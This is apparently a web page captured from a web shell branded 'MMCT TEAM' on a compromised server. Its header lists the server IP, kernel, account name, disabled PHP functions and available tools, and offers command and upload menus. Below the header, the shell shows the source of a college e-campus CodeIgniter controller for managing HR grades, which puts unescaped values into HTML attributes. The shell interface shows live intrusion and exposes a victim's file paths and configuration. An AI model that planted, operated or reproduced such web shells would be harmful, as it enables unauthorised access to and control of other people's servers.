MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/ecampus.ncriptech.com/application/controllers/admin/hrm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/ecampus.ncriptech.com/application/controllers/admin/hrm/Grades.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');


/**
 * 
 */
class Grades  extends BaseAdminController
{

    protected $inst_id='';
    protected $inst_parent_id='';
    protected $inst_code='';
    protected $inst_type='';
    protected $hrms_access='';

    function __construct()
    {
        parent::__construct();

        $institute_data=check_institute($this->data['userdata']);
        $this->inst_id=$institute_data['institute_id'];
        $this->inst_parent_id=$institute_data['inst_parent_id'];
        $this->inst_code=$institute_data['inst_code'];
        $this->inst_type=$institute_data['inst_type'];

        $this->hrms_access=$institute_data['hrms_access'];

        $this->load->model('hrm/grades_model','hrmgm');
    }

    function index(){
       
        if(session_userdata('isAdminLoggedin')){

            $this->data['page_title']='Grades';

            if($this->hrms_access=='yes'){                

                $view='hrm/payroll/vw_grades';
            }else{
                $view='hrm/vw_permission_denied';
            }

            $this->theme->title($this->data['page_title'])->load($view, $this->data);
                
        }else{

            redirect($this->data['base_url']);
        }
    }


    public function onSearchGradesList(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){
                $param['column_order'] = array(
                    null,
                    'grade_name'
                );

                $param['grade_institute_id']=$this->inst_id;

                $param['column_search'] = array('grade_name');
                $param['order'] = array('grade_id' => 'ASC');
                $posts=$this->input->post();

                $list = $this->hrmgm->_get_grades($posts,$param,FALSE,FALSE);

                //print_obj($list);die;
                
                
                $data = array();
                $no = isset($posts['start'])?$posts['start']:0;

                $action='';

                foreach ($list as $grd){
                    $no++;

                    $row = array();

                    $row[]  =   $no;
                    $row[]  =   $grd->grade_name;
                    $row[]  =   $grd->grade_name_desc;

                    if($grd->grade_status=='active'){
                        $status='<span class="badge badge-sm badge-success">Active</span>';
                    }else if($grd->grade_status=='inactive'){
                        $status='<span class="badge badge-sm badge-danger">Inactive</span>';
                    }

                    $row[]  =   $status;
                    
                    $row[]  =   '
                    <button type="button" class="btn btn-xs btn-info btn_grade_edit" data-grade_id="'.encode_data($grd->grade_id).'" data-grade_name="'.$grd->grade_name.'" data-grade_desc="'.$grd->grade_name_desc.'" data-grade_status="'.$grd->grade_status.'"><i class="fa fa-pencil"></i></button>
                    <button type="button" class="btn btn-xs btn-danger btn_grade_del" data-grade_id="'.encode_data($grd->grade_id).'"><i class="fa fa-trash"></i></button>';

                    $data[] = $row; 
                }

                $output = array(
                    "draw" => isset($posts['draw'])?$posts['draw']:'',
                    "recordsTotal" => $this->hrmgm->_get_grades($posts,$param,TRUE),
                    "recordsFiltered" => $this->hrmgm->_get_grades($posts,$param,TRUE),
                    "data" => $data,
                );
                
                echo json_encode($output);

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }


    public function onAddEditGrades(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                $_grade=post_data('_grade');
                $grade_name=post_data('grade_name');
                $grade_desc=post_data('grade_desc');
                $grade_status=post_data('grade_status');

                $inst_id=$this->inst_id;

                if(empty($_grade)){

                    $grade_found=$this->hrmgm->get_grade(array('grade_name'=>$grade_name,'grade_inst_id'=>$inst_id));

                    if(empty($grade_found)){

                        $data_to_add=array(
                            'grade_name'=>$grade_name,
                            'grade_name_desc'=>$grade_desc,
                            'grade_inst_id'=>$inst_id,
                            'grade_inst_type'=>$this->inst_type,
                            'grade_status'=>$grade_status
                        );

                        $added=$this->hrmgm->store_grade($data_to_add);

                        if($added){
                            $return['success']='Grade added.';
                        }else{
                            $return['error']='Grade not added.';
                        }

                    }else{
                        $return['error']='Grade already foudn in the system';
                    }
                }else{

                    $grade_id=decode_data($_grade);

                    $grade_found=$this->hrmgm->get_grade(array('grade_id'=>$grade_id,'grade_inst_id'=>$inst_id));

                    if(!empty($grade_found)){
                        $data_to_add=array(
                            'grade_name'=>$grade_name,
                            'grade_name_desc'=>$grade_desc,
                            'grade_inst_id'=>$inst_id,
                            'grade_inst_type'=>$this->inst_type,
                            'grade_status'=>$grade_status
                        );

                        $added=$this->hrmgm->update_grade($data_to_add,array('grade_id'=>$grade_id,'grade_inst_id'=>$inst_id));

                        if($added){
                            $return['success']='Grade updated.';
                        }else{
                            $return['error']='Grade not updated.';
                        }
                    }else{
                        $return['error']='Grade data not found in the system.';
                    }
                }

                json_headers($return);
            }else{
                 redirect($this->data['base_url']);
            }
        }else{
             redirect($this->data['base_url']);
        }
    }


    public function onDeleteGrades(){
         if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                $_grade=post_data('grade_id');

                $inst_id=$this->inst_id;

                if(!empty($_grade)){
                    $grade_id=decode_data($_grade);

                    $grade_found=$this->hrmgm->get_grade(array('grade_id'=>$grade_id,'grade_inst_id'=>$inst_id));

                    if(!empty($grade_found)){

                        $deleted=$this->hrmgm->delete_grade(array('grade_id'=>$grade_id,'grade_inst_id'=>$inst_id));

                        if($deleted){
                            $return['success']='Grade deleted successfully.';
                        }else{
                            $return['error']='Grade not deleted.';
                        }

                        $return['success']='Grade deleted successfully.';
                    }else{
                       $return['error']='Grade not found'; 
                    }
                }else{
                    $return['error']='Data manipulation not permitted';
                }


                json_headers($return);

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }

}

MMCT - 2023